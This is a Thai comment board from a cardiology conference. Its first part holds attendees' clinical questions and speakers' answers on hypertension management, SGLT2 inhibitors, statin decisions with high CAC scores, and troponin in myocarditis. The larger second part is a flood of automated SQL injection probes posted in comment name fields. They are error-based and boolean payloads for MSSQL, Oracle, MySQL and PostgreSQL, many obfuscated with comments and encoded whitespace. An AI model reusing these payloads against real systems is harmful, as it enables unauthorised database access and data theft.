CardioCocktail 2024

2026-02-14 - 12:50:25

สรุปให้ได้ไหมครับ ผปไหนควรได้ dapaglifozin หรือ empaglifozin เลือกยังไง ฟัง Symposium ไปยาดีทั้งคู่

อยากรู้ 2026-02-14 - 12:55:17

ในเคส Post thoracotomy cardiogenic shock LVEF ยังไม่ดี(สงสัยSurgery-ralated or stunning after surgery) อ.พิจารณาให้ early SGLT2i ในช่วงที่ยัง AHF state อยุไหมครับ (ซึ่งยังไใส่foleyอยู่)

2026-02-14 - 13:19:35

Acute myocarditis : Normal troponin T (hs )
- กี่% ครับ
- จากอะไรครับ

Med 2026-02-14 - 14:14:23

ไม่แน่ใจครับว่า Thai guideline BP >=180/110 มีเขียนเรื่องstatin initiate กับ goal ไหมครับ

Med 2026-02-14 - 14:16:16

-ถามอ.แพรวเรื่องguideline ใหม่ครับ การให้ long acting anti hypertensive drug หากได้รับ notify BP สูงกลางคืนถูกต้องไหมครับ (ตอนนี้ทุกคนเข้าใจว่าไม่ให้short acting ตีมีการตีความไปว่าให้long acting ได้)

2026-02-14 - 14:26:36

หากเรามีประวัติ fluctuation high blood pressure เคยกินยาและหยุดยาไป มีคำแนะนำเงรื่อlong term management อย่างไรเพราคะคนไข้ไม่อยากกินยา event ล่าสุดคือ รู้สึก baseline heart rate เร็วขึ้น วัดแล้วความดันขึ้น แต่ไม่ได้มีอาการใจสั่น คำถามคือ หบัง start beatable bp 110/70 hr 60 อยากหยุดยาอีกแล้ว???

Med 2026-02-14 - 14:35:11

Amlodipine ไม่ใช่ short acting ไม่ใช่หรอครับอ.?

2026-02-14 - 14:35:44

Bp สูง มีอาการน้อยให้ยา oral ลงช้าที่เราทราบ อาจารยปล่อยกลับเลยไหม เพราะบางที 4-5 ชม ก้ไม่ลง

2026-02-14 - 14:35:45

Bp สูง มีอาการน้อยให้ยา oral ลงช้าที่เราทราบ อาจารยปล่อยกลับเลยไหม เพราะบางที 4-5 ชม ก้ไม่ลง

กิกิ 2026-02-14 - 14:38:02

อ.แพรวเจาะcr ก่อนให้ captoprilไหมค่ะ

คนไข้ท่านหนึ่ง 2026-02-14 - 14:38:58

อาจารย์ครับ

คนไข้อายุ 60 ปี ไม่มีอาการ มี risk factor และ CAC ประมาณ 1,000
แต่คนไข้เอาข้อมูลจากเพจสุขภาพมา บอกว่า TG/HDL ยังดี เลยไม่อยากกิน statin

ในกรณีนี้ เราควรอธิบายหรือ approach อย่างไรครับ?
TG/HDL ยังมีน้ำหนักในการตัดสินใจไหม เมื่อเทียบกับ CAC ที่สูงมากแบบนี้?

2026-02-14 - 14:45:37

Immediate- release nifedipine มีที่ใช้ไหมครับ

2026-02-14 - 14:53:31

อาจารย คิดว่าควรส่งไปพบ อาจารย ทำ TVR เมื่อไหร่ดีคะ

ชื่นชม 2026-02-14 - 16:09:10

อาจารย์กิตติพศ เก่งมากเลยครับ มีความสามารถหลายด้าน และ ทำเรื่องใหม่ๆได้ดี

ตอบคำถาม Session Hypertension (อ.แพรว) 2026-02-14 - 20:08:49

1) กรณี notify BP สูงช่วงกลางคืน ควรให้ long-acting antihypertensive เพิ่มหรือไม่ ?
ตอบ: แนวทาง Thai Hypertension Society Guidelines (THS) เน้นว่า การรักษาความดันโลหิตสูงควรใช้ long-acting antihypertensive drugs เป็นพื้นฐานของการรักษาระยะยาว และหลีกเลี่ยงการให้ยาลดความดันแบบเฉียบพลันโดยไม่มีข้อบ่งชี้ทางคลินิกค่ะ หากเป็นเพียงการวัดค่าความดันสูงครั้งเดียวในช่วงกลางคืน และไม่มีอาการหรือ evidence ของ target organ damage ไม่แนะนำให้ให้ยาเพิ่มเติมแบบ reactive treatment เพื่อหวังผลลดความดันเฉียบพลัน ไม่ว่าจะเป็น short-acting หรือ long-acting อย่างไรก็ตาม หากมีหลักฐานว่าเป็น nocturnal hypertension จริง เช่น จากการทำ ABPM ควรพิจารณาปรับ regimen ระยะยาวอย่างเหมาะสม เน้นยาที่ออกฤทธิ์ยาว 24 ชม. โดยถ้ายานั้นรับประทานแค่ 1 ครั้งต่อวันก็จะยิ่งทำให้ compliance ดีค่ะ
2) ผู้ป่วยมีประวัติ BP ผันผวน เคยกินยาแล้วหยุดเอง และล่าสุด HR baseline สูงขึ้น หลังเริ่ม beta-blocker BP 110/70 HR 60 อยากหยุดยาอีก ควรแนะนำอย่างไร?
ตอบ: ตามแนวทาง THS ความดันโลหิตสูงเป็น โรคเรื้อรัง เป้าหมายของการรักษาคือการลดความเสี่ยงโรคหัวใจและหลอดเลือดระยะยาว ไม่ใช่ควบคุมตัวเลขเพียงระยะสั้น หาก BP อยู่ใน target และไม่มีอาการ hypotension การหยุดยาเองไม่แนะนำเลยค่ะ โดยเฉพาะในผู้ป่วยที่เคยเข้าเกณฑ์ stage 1–2 hypertension หรือมี cardiovascular risk factor กรณี HR เร็วขึ้นโดยไม่มีอาการใจสั่น อาจสัมพันธ์กับ sympathetic activation หรือภาวะอื่นที่ไม่จำเป็นต้องหยุดยา ควรประเมิน risk profile และพิจารณา HBPM/ABPM เพื่อยืนยัน pattern ของความดันก่อนปรับแผนการรักษา การให้ความรู้ผู้ป่วยเรื่อง long-term risk reduction มีความสำคัญมากในกรณีนี้ค่ะ จริงๆแล้ว HR 60 ในตอนนี้ หากไม่มีอาการอะไร ก็ยังอยู่ในเกณฑ์ที่ปกติ เน้นให้ดื่มน้ำให้เพียงพอเพื่อป้องกัน orthostatic hypotension จะช่วยได้มากเลยค่ะ (คนไทยโดยเฉพาะสูงวัย ดื่มน้ำไม่พอเลยค่ะ พอวิงเวียนก็เครียดอยากหยุดยาเอง)
3) BP สูง มีอาการเล็กน้อย ให้ยา oral แล้ว 4–5 ชั่วโมงยังไม่ลดมาก ควรรอจนความดันลง admit หรือกลับบ้านได้ ?
ตอบ: หากไม่มีหลักฐานของ acute target organ damage (เช่น neurologic deficit, ACS, AKI, pulmonary edema) ถือเป็น hypertensive urgency แนวทาง THS แนะนำให้ลด BP อย่างค่อยเป็นค่อยไปภายใน 24–48 ชั่วโมง ไม่จำเป็นต้องลดให้ปกติก่อนกลับบ้านค่ะ ขอแค่เรามั่นใจว่าหาดีแล้ว ไม่มี acute target organ damage จริงๆ ก็ discharge ได้โดยไม่ต้องรอความดันลงค่ะ
หากผู้ป่วย stable ไม่มีอาการรุนแรง สามารถให้กลับบ้านได้ พร้อมปรับยา นัดติดตามภายใน 2 สัปดาห์อย่างช้า ให้คำแนะนำเรื่องการวัด BP ที่บ้าน ไม่จำเป็นต้อง admit เพียงเพราะค่าความดันยังสูงอยู่ แต่ไม่มี organ damage ค่ะ
4) ควรเจาะ creatinine ก่อนให้ captopril หรือไม่ ?
ตอบ: หากผู้ป่วยมีประวัติ CKD, DM, ผู้สูงอายุ, สงสัย renal artery stenosis หรือมีภาวะ volume depletion ควรทราบค่า baseline creatinine ค่ะ อย่างไรก็ตาม ในสถานการณ์ hypertensive urgency ที่ต้องการให้ oral captopril เพื่อลดความดัน การให้ dose แรกไม่จำเป็นต้องรอผล creatinine แต่ควรมีการติดตาม renal function ภายใน 1–2 สัปดาห์หลังเริ่มยาค่ะ
5) Immediate-release nifedipine ยังมีบทบาทหรือไม่ ?
ตอบ: แนวทางปัจจุบันของ THS และแนวทางสากล ไม่แนะนำให้ใช้ immediate-release หรือ sublingual nifedipine ในการลดความดันแบบเฉียบพลัน เนื่องจากทำให้ BP ลดลงรวดเร็วเกินไป เพิ่มความเสี่ยง cerebral หรือ myocardial ischemia และอาจเกิด reflex tachycardia ปัจจุบันถือว่าไม่เหมาะสมสำหรับการจัดการ hypertensive urgency ค่ะ

Prin 2026-02-14 - 20:26:39

ตอบคำถามข้อ CAC1,000 โดยมี TG/HDL ดี
บอกคนไข้ว่าให้ทำตัวดีเหมือนเดิมไว้นะครับ เพราะถ้าไม่ได้ทำดีอย่างนี้ CAC คงขึ้นไปที่ 2000 แล้ว
ทีนี้ CAC 1000 นับว่ามีความเสี่ยงสูงมาก ถ้าต้องการหยุดมัน ไม่ให้โตต่อ ไม่ให้เกิดเรื่องอุดตัน แนะนำระดับ LDL ต้องลงไปอย่างน้อยที่ 70 mg/dl และถ้าต้องการให้มันฝ่อลงไป LDL ต้องลงไปที่ 55 mg/dl
ทั้งนี้ความเสี่ยงทั้งหมดอยู่ในตัวคนไข้ เราให้ข้อมูลได้อย่างนี้ คนไข้ร่วมตัดสินใจว่าอยากจะยืนอยู่บนจุดความเสี่ยงไหนก็เคารพทุกการตัดสินของคนไข้ครับ
ก่อนจบการสนธนา ให้แจังคนไข้ว่าหากมี angina ให้รีบมา รพ ครับ
99% จะขอรับการรักษาครับ

บัณฑิต 2026-02-15 - 09:19:38

ตอบคำถาม myocarditis with normal troponin ครับ

1) myocarditis มี incidence rate ต่ำ จึงยัง % ยังไม่มีตัวเลขทาง epidemiology ชัดเจนครับ

2) ข้อมูลที่มีเป็นการศึกษาแบบ retrospective cohort ดูระดับ troponin / hs troponin ในผู้ป่วยที่สงสัยหรือกลุ่มผู้ป่วย confirm myocarditis ด้วย CMR / EMB พบว่า troponin (ไม่ใช่ hs TnT generation ปัจจุบัน) มีโอกาส negative ได้ ประมาณ 30% (ความเห็นส่วนตัวคิดว่า ถ้าใช้ hs TnT ตัวเลขน่าจะน้อยกว่านี้ครับ)

3) ข้อมูลปัจจุบัน การใช้ hsTnT cutoff 18 อาจ exclude acute myocarditis ได้ โดย NPV = 0.96 คร้บ ( รอ data จาก RCT ต่อไปในอนาคตครับ )

4)สาเหตุที่พบได้คือ mild / focal / chronic myocarditis โดย immuno-history pathology เป็น lymphocytic myocarditis ครับ

2026-02-15 - 09:24:03

จำเป็นต้องตรวจsdLDL ไหมครับ

ชื่นชม 2026-02-15 - 09:54:16

อาจารย์ธัญลักษณ์ เตรียมตัว มาดี มีสติดีมากครับ และ หายใจทางผิวหนังเหมือน อ นุ่น

ขอลิงค์ของ microsoft ครับ 2026-02-15 - 10:11:53

จะหาลิงค์ของ microsoft ที่ไว้เรียน AI ได้จากไหนครับ

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1 2026-02-18 - 10:33:03

1

1'AND//8092=(SELECT//'~'+(SELECT//(CASE//WHEN//(8092=8092)//THEN//'1'//ELSE//'0'//END))+'~'//FOR//XML/**/PATH('')) OR 'rXG4cpqv'='a2Y5fJrY 2026-02-18 - 10:40:40

1

1 2026-02-18 - 10:42:42

1

1') AND aNd//4123=dbMs_UtIlITy.sQLiD_to_SqLHAsh(CHR(126)||%27~%27||(seLeCt//(caSe//WHen//(4123=4123)//tHEn//1//ELsE//0//ENd)//fRoM/**/dual)||%27~%27||chR(126))-- - 2026-02-18 - 10:42:46

1

1'AND//8125=DBMS_UTILITY.SQLID_TO_SQLHASH(CHR(126)||'~'||(SELECT//(CASE//WHEN//(8125=8125)//THEN//1//ELSE//0//END)//FROM/**/DUAL)||'~'||CHR(126))-- - 2026-02-18 - 10:46:23

1

1")))/!50000AND/ROW(3262,8411)>(/!50000SELECT//!50000COUNT/(),/!50000CONCAT/(%27~%27,(/!50000SELECT/(ELT(3262=3262,1))),%27~%27,FLOOR(RAND(0)2))x/!50000FROM/(/!50000SELECT/6628/!50000UNION//!50000SELECT/7886/!50000UNION//!50000SELECT/7722/!50000UNION//!50000SELECT/4051)a/!50000GROUP//!50000BY/x) AND ((("FzP3cESK"="FzP3cESK" 2026-02-18 - 11:00:58

1

1"))),EXTRACTVALUE(6095,CONCAT(0x5c,'~',(SELECT/**/(ELT(6095=6095,1))),'~')) AND ((("xaI5s4km"="xaI5s4km" 2026-02-18 - 11:03:51

1

1 2026-02-18 - 11:06:09

1

1 2026-02-18 - 11:11:33

1

1 2026-02-18 - 11:15:50

1

1 2026-02-18 - 11:15:51

1

1 2026-02-18 - 11:21:01

1

1 2026-02-18 - 11:21:01

1

1',(SELECT//2849//FROM//(SELECT//ROW(2849,4570)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(2849=2849,1))),'~',FLOOR(RAND(0)*2))x//FROM//(SELECT//4154//UNION//SELECT//6227//UNION//SELECT//3760//UNION//SELECT//6974)a//GROUP//BY/**/x))s) AND 'IAlBWd2o' LIKE 'IAlBWd2o 2026-02-18 - 11:39:39

1

1 2026-02-18 - 11:39:46

1

1 2026-02-18 - 11:47:10

1

1 2026-02-18 - 11:51:56

1

1%'AND//4612=(SELECT//'~'+(SELECT//(CASE//WHEN//(4612=4612)//THEN//'1'//ELSE//'0'//END))+'~'//FOR//XML/**/PATH('')) AND 'htdnGkzP%'='htdnGkzP 2026-02-18 - 11:51:57

1

1' AND AND//1929=DBMS_UTILITY.SQLID_TO_SQLHASH(CHR(126)||'~'||(SELECT//(CASE//WHEN//(1929=1929)//THEN//1//ELSE//0//END)//FROM/**/DUAL)||'~'||CHR(126))-- - 2026-02-18 - 11:54:58

1

1 2026-02-18 - 12:03:41

1

1 2026-02-18 - 12:12:24

1

1 2026-02-18 - 12:12:37

1

1"AND//10193=CAST(('~'||(SELECT//(CASE//WHEN//(10193=10193)//THEN//1//ELSE//0//END))||'~')//AS/**/XML) AND "FFpOdPAQ" LIKE "FFpOdPAQ 2026-02-18 - 12:22:26

1

1" AND ,(cAsT(%27~%27||(SELect//(cASe//WhEN//(6332=6332)//tHEN//1//eLsE//0//end))::TexT||%27~%27//aS//numeriC))-- - 2026-02-18 - 12:23:32

1

1"AND//5880=(SELECT//'~'+(SELECT//(CASE//WHEN//(5880=5880)//THEN//'1'//ELSE//'0'//END))+'~'//FOR//XML/**/PATH('')) AND "BHwdmkCC" LIKE "BHwdmkCC 2026-02-18 - 12:30:58

1

1"AND%044642=(SELECT%0C%27~%27+(SELECT%08(CASE%0AWHEN%02(4642=4642)%0BTHEN%0D%271%27%03ELSE%09%270%27%02END))+%27~%27%0DFOR%06XML%02PATH(%27%27)) AND "ItTxgy8u" LIKE "ItTxgy8u 2026-02-18 - 12:30:58

1

1")AND//6721=UTL_INADDR.GET_HOST_NAME((SELECT//CHR(126)||'~'||(SELECT//(CASE//WHEN//(6721=6721)//THEN//1//ELSE//0//END)//FROM//DUAL)||'~'||CHR(126)//FROM//DUAL)) AND ("5WSiV398" LIKE "5WSiV398" 2026-02-18 - 12:35:58

1

1")anD//3412=utL_iNADDr.Get_HosT_nAME((SELeCt//CHR(126)||%27~%27||(seleCt//(CASe//WheN//(3412=3412)//ThEN//1//elSe//0//eNd)//fROM//duAl)||%27~%27||chR(126)//froM//dUAl)) AND ("vgHgEd4b" LIKE "vgHgEd4b" 2026-02-18 - 12:36:15

1

1"AND//8877=UTL_INADDR.GET_HOST_NAME((SELECT//CHR(126)||'~'||(SELECT//(CASE//WHEN//(8877=8877)//THEN//1//ELSE//0//END)//FROM//DUAL)||'~'||CHR(126)//FROM//DUAL)) AND "FMAn8fHa" LIKE "FMAn8fHa" 2026-02-18 - 12:36:16

1

1))AND//(SELECT//2*(IF((SELECT/**/*//FROM//(SELECT//CONCAT('~',(SELECT//(ELT(2884=2884,1))),'~','x'))s),//8446744073709551610,//8446744073709551610))) AND ((3680=3680 2026-02-18 - 12:41:20

1

1 WHERE 9107=9107/!50000AND/(/!50000SELECT/2(IF((/!50000SELECT//!50000FROM/(/!50000SELECT//!50000CONCAT/(%27~%27,(/!50000SELECT/(ELT(9861=9861,1))),%27~%27,%27x%27))s),//8446744073709551610,//8446744073709551610)))-- - 2026-02-18 - 12:50:40

1

1/!50000AND/(/!50000SELECT/2(IF((/!50000SELECT//!50000FROM/(/!50000SELECT//!50000CONCAT/(%27~%27,(/!50000SELECT/(ELT(9980=9980,1))),%27~%27,%27x%27))s),//8446744073709551610,//8446744073709551610))) PROCEDURE ANALYSE(5143,1)-- - 2026-02-18 - 12:55:27

1

1,AND//(SELECT//2*(IF((SELECT/**/*//FROM//(SELECT//CONCAT('~',(SELECT//(ELT(2088=2088,1))),'~','x'))s),//8446744073709551610,//8446744073709551610))) PROCEDURE ANALYSE(6503,1)-- - 2026-02-18 - 12:55:28

1

1/!50000AND/EXP(~(/!50000SELECT/*/!50000FROM/(/!50000SELECT//!50000CONCAT/(%27~%27,(/!50000SELECT/(ELT(2498=2498,1))),%27~%27,%27x%27))x))# y0Wjq4dE 2026-02-18 - 13:04:38

1

1AND//GTID_SUBSET(CONCAT('~',(SELECT//(ELT(5748=5748,1))),'~'),5748)# 2026-02-18 - 13:31:04

1

1AND//GTID_SUBSET(CONCAT('~',(SELECT//(ELT(5714=5714,1))),'~'),5714) PROCEDURE ANALYSE(1537,1)-- - 2026-02-18 - 13:32:43

1

1/!50000AND/GTID_SUBSET(/!50000CONCAT/(%27~%27,(/!50000SELECT/(ELT(3161=3161,1))),%27~%27),3161) PROCEDURE ANALYSE(10307,1)-- - 2026-02-18 - 13:32:43

1

1,AND//GTID_SUBSET(CONCAT('~',(SELECT//(ELT(7701=7701,1))),'~'),7701) PROCEDURE ANALYSE(4538,1)-- - 2026-02-18 - 13:32:44

1

1 AND ,GTID_SUBSET(/!50000CONCAT/(%27~%27,(/!50000SELECT/(ELT(7908=7908,1))),%27~%27),7908)-- - 2026-02-18 - 13:53:14

1

1,GTID_SUBSET(/!50000CONCAT/(%27~%27,(/!50000SELECT/(ELT(7236=7236,1))),%27~%27),7236)-- - 2026-02-18 - 14:09:10

1

1))//PROCEDURE//ANALYSE(UPDATEXML(8094,/!50000CONCAT/(%27.%27,%27~%27,(/!50000SELECT/(ELT(8094=8094,1))),%27~%27),3017),1) AND ((6691=6691 2026-02-18 - 14:15:09

1

1) WHERE 5477=5477//PROCEDURE//ANALYSE(UPDATEXML(5609,/!50000CONCAT/(%27.%27,%27~%27,(/!50000SELECT/(ELT(5609=5609,1))),%27~%27),8230),1)-- - 2026-02-18 - 14:25:36

1

1//PROCEDURE//ANALYSE(UPDATEXML(10565,/!50000CONCAT/(%27.%27,%27~%27,(/!50000SELECT/(ELT(10565=10565,1))),%27~%27),3839),1) 2026-02-18 - 14:26:33

1

1anD//9556=anY(arRaY(SElEct//cAst(%27~%27||(seLECT//(CAsE//WhEn//(9556=9556)//ThEN//1//ELsE//0//eND))::tEXT||%27~%27//AS//INtegER))) PROCEDURE ANALYSE(8772,1)-- - 2026-02-18 - 14:50:33

1

1AND%0E1787=CAST(%27~%27+(SELECT%0B(CASE%07WHEN%01(1787=1787)%06THEN%07%271%27%06ELSE%08%270%27%0BEND))+%27~%27%0FAS%0FINT)# 0lf52hkd 2026-02-18 - 15:00:41

1

1) AS bSC3oJXv WHERE 9155=9155AND//10351=CAST('~'+(SELECT//(CASE//WHEN//(10351=10351)//THEN//'1'//ELSE//'0'//END))+'~'//AS/**/INT)-- - 2026-02-18 - 15:03:45

1

1 2026-02-18 - 15:06:41

1

1AND%0E9183=CAST(%27~%27+(SELECT%05(CASE%0EWHEN%0D(9183=9183)%0DTHEN%09%271%27%0AELSE%0C%270%27%0DEND))+%27~%27%0EAS%0FINT)# 2026-02-18 - 15:08:39

1

1AND//5763=CAST('~'+(SELECT//(CASE//WHEN//(5763=5763)//THEN//'1'//ELSE//'0'//END))+'~'//AS/**/INT)-- - 2026-02-18 - 15:08:40

1

1AND%089350=CAST(%27~%27+(SELECT%04(CASE%02WHEN%01(9350=9350)%01THEN%09%271%27%01ELSE%0F%270%27%06END))+%27~%27%06AS%09INT)-- - 2026-02-18 - 15:08:41

1

1AND//7733=CAST('~'+(SELECT//(CASE//WHEN//(7733=7733)//THEN//'1'//ELSE//'0'//END))+'~'//AS/**/INT) PROCEDURE ANALYSE(2891,1)-- - 2026-02-18 - 15:08:41

1

1))),(SELECT%066263%0BWHERE%076263=CONVERT(INT,(SELECT%0B%27~%27+(SELECT%0F(CASE%04WHEN%05(6263=6263)%03THEN%0D%271%27%0FELSE%07%270%27%09END))+%27~%27))) AND (((4386=4386 2026-02-18 - 15:15:35

1

1),(SELECT//5709//WHERE//5709=CONVERT(INT,(SELECT//'~'+(SELECT//(CASE//WHEN//(5709=5709)//THEN//'1'//ELSE//'0'//END))+'~')))-- - 2026-02-18 - 15:15:35

1

1,(SELECT%014033%0AWHERE%074033=CONVERT(INT,(SELECT%03%27~%27+(SELECT%09(CASE%0AWHEN%0E(4033=4033)%03THEN%04%271%27%0CELSE%05%270%27%0AEND))+%27~%27)))# hmmWumi8 2026-02-18 - 15:17:49

1

1),(SELECT//5783//WHERE//5783=CONVERT(INT,(SELECT//'~'+(SELECT//(CASE//WHEN//(5783=5783)//THEN//'1'//ELSE//'0'//END))+'~')))-- - 2026-02-18 - 15:17:49

1

1,(SELECT//UPPER(XMLType(CHR(60)||CHR(58)||'~'||(SELECT//(CASE//WHEN//(8335=8335)//THEN//1//ELSE//0//END)//FROM//DUAL)||'~'||CHR(62)))//FROM/**/DUAL)-- - 2026-02-18 - 15:52:36

1

1,(sELEct//uPpeR(XMLtype(cHR(60)||ChR(58)||%27~%27||(selECt//(CasE//whEN//(10087=10087)//theN//1//ElSe//0//ENd)//froM//DuaL)||%27~%27||cHr(62)))//FrOm/**/dUAl)-- - 2026-02-18 - 15:52:37

1

1)),(SeLEct//UppeR(XMLTYPe(Chr(60)||chr(58)||%27~%27||(sELEcT//(CAse//when//(7426=7426)//tHeN//1//eLsE//0//EnD)//from//duAl)||%27~%27||chr(62)))//fROm/**/DUaL) AND ((9948=9948 2026-02-18 - 15:54:33

1

1),(seLeCT//upPER(XmLTyPe(CHR(60)||CHR(58)||%27~%27||(sELECt//(casE//whEn//(1569=1569)//TheN//1//elSe//0//EnD)//fRoM//DUaL)||%27~%27||CHR(62)))//FRom/**/DUal)-- - 2026-02-18 - 16:00:19

1

1 2026-02-18 - 16:06:14

1

1` WHERE 9748=9748,(SelEct//UPper(XMLType(ChR(60)||chr(58)||%27~%27||(seLECt//(Case//wHEN//(10282=10282)//THEn//1//eLSE//0//End)//FROM//DuAL)||%27~%27||Chr(62)))//FROm/**/dUaL)-- - 2026-02-18 - 16:10:55

1

1')AND//(SELECT//2*(IF((SELECT/**/*//FROM//(SELECT//CONCAT('~',(SELECT//(ELT(8242=8242,1))),'~','x'))s),//8446744073709551610,//8446744073709551610)))-- - 2026-02-18 - 16:16:46

1

1')/!50000AND/(/!50000SELECT/2(IF((/!50000SELECT//!50000FROM/(/!50000SELECT//!50000CONCAT/(%27~%27,(/!50000SELECT/(ELT(5438=5438,1))),%27~%27,%27x%27))s),//8446744073709551610,//8446744073709551610)))-- - 2026-02-18 - 16:16:47

1

1') AS VOL2qmkM WHERE 3882=3882AND//EXP(~(SELECT//*//FROM//(SELECT//CONCAT('~',(SELECT//(ELT(2037=2037,1))),'~','x'))x))-- - 2026-02-18 - 16:34:39

1

1',(SELECT//3339//FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(3339=3339,1))),'~',FLOOR(RAND(0)*2))x//FROM//INFORMATION_SCHEMA.PLUGINS//GROUP//BY/**/x)a)-- - 2026-02-18 - 16:54:40

1

1',(SELECT//10159//FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(10159=10159,1))),'~',FLOOR(RAND(0)*2))x//FROM//INFORMATION_SCHEMA.PLUGINS//GROUP//BY/**/x)a)-- - 2026-02-18 - 16:58:24

1

1' WHERE 7829=7829,(SELECT//4983//FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(4983=4983,1))),'~',FLOOR(RAND(0)*2))x//FROM//INFORMATION_SCHEMA.PLUGINS//GROUP//BY/**/x)a)-- - 2026-02-18 - 17:02:33

1

1'))),GTID_SUBSET(CONCAT('~',(SELECT/**/(ELT(2122=2122,1))),'~'),2122) AND ((('yzhO9nIv'='yzhO9nIv 2026-02-18 - 17:07:30

1

1 2026-02-18 - 17:10:03

1

1' WHERE 2468=2468,GTID_SUBSET(CONCAT('~',(SELECT/**/(ELT(3298=3298,1))),'~'),3298)-- - 2026-02-18 - 17:14:06

1

1' WHERE 2999=2999,GTID_SUBSET(CONCAT('~',(SELECT/**/(ELT(7843=7843,1))),'~'),7843)-- - 2026-02-18 - 17:15:43

1

1 2026-02-18 - 17:20:35

1

1'and//5084=ANY(aRray(SelecT//CAsT(%27~%27||(SELect//(cASE//WHEn//(5084=5084)//THeN//1//elSE//0//End))::tEXt||%27~%27//as//INteGeR))) OR 'DIIkLuAc'='dRaNo7Jx 2026-02-18 - 17:36:32

1

1')AND//2272=ANY(ARRAY(SELECT//CAST('~'||(SELECT//(CASE//WHEN//(2272=2272)//THEN//1//ELSE//0//END))::text||'~'//AS//INTEGER)))-- - 2026-02-18 - 17:36:56

1

1'ANd//1237=aNy(aRRaY(sEleCT//casT(%27~%27||(SElEct//(CASE//WhEN//(1237=1237)//thEn//1//ELSe//0//eNd))::TEXT||%27~%27//As//INtEGer))) OR 'bm8BUQ2a'='5t0Hy1vv 2026-02-18 - 17:40:19

1

1' WHERE 3980=3980AND//10804=ANY(ARRAY(SELECT//CAST('~'||(SELECT//(CASE//WHEN//(10804=10804)//THEN//1//ELSE//0//END))::text||'~'//AS//INTEGER)))-- - 2026-02-18 - 17:40:19

1

1'AND%0A1892=CAST(%27~%27+(SELECT%0E(CASE%0DWHEN%0E(1892=1892)%01THEN%04%271%27%0AELSE%05%270%27%09END))+%27~%27%06AS%0FINT)-- - 2026-02-18 - 17:48:46

1

1 2026-02-18 - 17:51:26

1

1'AND//3443=CAST('~'+(SELECT//(CASE//WHEN//(3443=3443)//THEN//'1'//ELSE//'0'//END))+'~'//AS/**/INT) OR '5Og0sIvp'='3vQbyihH 2026-02-18 - 17:53:18

1

1 2026-02-18 - 17:54:19

1

1 2026-02-18 - 18:25:36

1

1')),(SELECT//UPPER(XMLType(CHR(60)||CHR(58)||'~'||(SELECT//(CASE//WHEN//(2378=2378)//THEN//1//ELSE//0//END)//FROM//DUAL)||'~'||CHR(62)))//FROM/**/DUAL) AND (('5XbU7vux'='5XbU7vux 2026-02-18 - 18:28:19

1

1 2026-02-18 - 18:36:40

1

1"))/!50000AND/EXP(~(/!50000SELECT/*/!50000FROM/(/!50000SELECT//!50000CONCAT/(%27~%27,(/!50000SELECT/(ELT(2539=2539,1))),%27~%27,%27x%27))x)) AND (("F8mvvF7y"="F8mvvF7y" 2026-02-18 - 18:49:20

1

1"))AND//GTID_SUBSET(CONCAT('~',(SELECT//(ELT(7757=7757,1))),'~'),7757) AND (("0rugebcB"="0rugebcB" 2026-02-18 - 18:56:36

1

1"))),(SELECT//8648//FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(8648=8648,1))),'~',FLOOR(RAND(0)*2))x//FROM//INFORMATION_SCHEMA.PLUGINS//GROUP//BY/**/x)a) AND ((("qUXX7C2s"="qUXX7C2s" 2026-02-18 - 19:03:45

1

1"//PROCEDURE//ANALYSE(UPDATEXML(4510,CONCAT('.','~',(SELECT/**/(ELT(4510=4510,1))),'~'),1221),1) AND "JJeyBpvu"="JJeyBpvu" 2026-02-18 - 19:10:46

1

1")AND//10410=CAST('~'+(SELECT//(CASE//WHEN//(10410=10410)//THEN//'1'//ELSE//'0'//END))+'~'//AS/**/INT) AND ("EjXI6uCW"="EjXI6uCW" 2026-02-18 - 19:23:29

1

1"),(SELECT//6541//WHERE//6541=CONVERT(INT,(SELECT//'~'+(SELECT//(CASE//WHEN//(6541=6541)//THEN//'1'//ELSE//'0'//END))+'~'))) AND ("zACoW5kj"="zACoW5kj" 2026-02-18 - 19:29:29

1

1"),(SELECT%0B1865%0CWHERE%041865=CONVERT(INT,(SELECT%01%27~%27+(SELECT%08(CASE%04WHEN%07(1865=1865)%09THEN%06%271%27%0FELSE%03%270%27%05END))+%27~%27))) AND ("H7dPdXW3"="H7dPdXW3" 2026-02-18 - 19:29:30

1

1 2026-02-18 - 19:51:51

1

1'))),(/!50000SELECT/6522/!50000FROM/(/!50000SELECT//!50000COUNT/(),/!50000CONCAT/(%27~%27,(/!50000SELECT/(ELT(6522=6522,1))),%27~%27,FLOOR(RAND(0)2))x/!50000FROM/INFORMATION_SCHEMA.PLUGINS/!50000GROUP//!50000BY/x)a) AND ((('8GmXV37F' LIKE '8GmXV37F 2026-02-18 - 20:14:29

1

1'))),(SELECT//3232//FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(3232=3232,1))),'~',FLOOR(RAND(0)*2))x//FROM//INFORMATION_SCHEMA.PLUGINS//GROUP//BY/**/x)a) AND ((('JiD8Wbl3' LIKE 'JiD8Wbl3 2026-02-18 - 20:14:30

1

1',GTID_SUBSET(/!50000CONCAT/(%27~%27,(/!50000SELECT/(ELT(8226=8226,1))),%27~%27),8226) AND 'QI9peX6w' LIKE 'QI9peX6w 2026-02-18 - 20:19:24

1

1')),GTID_SUBSET(CONCAT('~',(SELECT/**/(ELT(8689=8689,1))),'~'),8689) AND (('IPOhWbb6' LIKE 'IPOhWbb6 2026-02-18 - 20:19:26

1

1' AND AND//9157=CAST('~'+(SELECT//(CASE//WHEN//(9157=9157)//THEN//'1'//ELSE//'0'//END))+'~'//AS/**/INT)-- - 2026-02-18 - 20:40:50

1

1' AND AND%0C10589=CAST(%27~%27+(SELECT%04(CASE%0FWHEN%03(10589=10589)%01THEN%03%271%27%08ELSE%02%270%27%04END))+%27~%27%0DAS%0AINT)-- - 2026-02-18 - 20:40:51

1

1')AND//9136=CAST('~'+(SELECT//(CASE//WHEN//(9136=9136)//THEN//'1'//ELSE//'0'//END))+'~'//AS/**/INT) AND ('U8908qaW' LIKE 'U8908qaW 2026-02-18 - 20:41:05

1

1')AND//10444=ORDSYS.ORD_DICOM.GETMAPPINGXPATH(2049,CHR(126)||'~'||(SELECT//(CASE//WHEN//(10444=10444)//THEN//1//ELSE//0//END)//FROM/**/DUAL)||'~'||CHR(126),CHR(126)) AND ('EacUSAeL' LIKE 'EacUSAeL 2026-02-18 - 20:55:56

1

